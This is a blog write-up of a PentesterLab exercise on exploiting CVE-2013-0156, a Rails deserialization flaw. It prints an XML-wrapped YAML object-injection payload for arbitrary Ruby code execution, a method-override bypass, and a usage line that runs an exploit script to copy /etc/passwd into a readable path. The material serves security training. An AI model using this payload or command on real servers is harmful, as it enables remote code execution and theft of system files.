Pentesterlab Serialize Badge/CVE-2013-0156: Rails Object Injection

> Saikat Karmakar | Sept 8 : 2021

Introduction

This course details the exploitation of the vulnerability CVE-2013-0156. This vulnerability is caused by an arbitrary deserialization that can be used to trigger SQL injection and even Code execution. In this exercise, we are going to focus on the code execution.

Exploitation

Multiple public exploits are available for this vulnerability. For example, the one located here can be used.

This exploit will generate a payload similar to the following request's body:

```
<?xml version="1.0" encoding="UTF-8"?>
<exploit type="yaml">--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
? |
  foo
  (RUBY; @executed = true) unless @executed
  __END__
: !ruby/struct
  defaults:
    :action: create
    :controller: foos
  required_parts: []
  requirements:
    :action: create
    :controller: foos
  segment_keys:
    - :format</exploit>
```

Where RUBY is some arbitrary Ruby code.

The idea here is to create a new action with arbitrary code in it. By default, Rails doesn't support pure yaml in a request body. But it supports XML that can embeds YAML in it (this explains the first two lines of the payload). Finally, the @executed is used to ensure that the code is only run once.

We recommend you use the exploit above as copying and pasting the payload will break the syntax of the YAML. YAML is very sensitive to line-break and whitespaces. Here we can see that the YAML is used to run some Ruby code.

In our example, the application only contains one route that uses the GET method. However, the request needs to contain a body for the payload. To bypass this limitation, the header X-HTTP-Method-Override can be used. The exploit linked will do this automatically. You just need to find the right Ruby code to gain code execution. Conclusion

This exercise showed you how to exploit CVE-2013-0156 to gain code execution on a server by adapting an exploit to your need. I hope you enjoyed learning with PentesterLab.

Usage

```
ruby rails_rce.rb http://example.com/ "\`cp /etc/passwd file/pass.txt\`
    "
```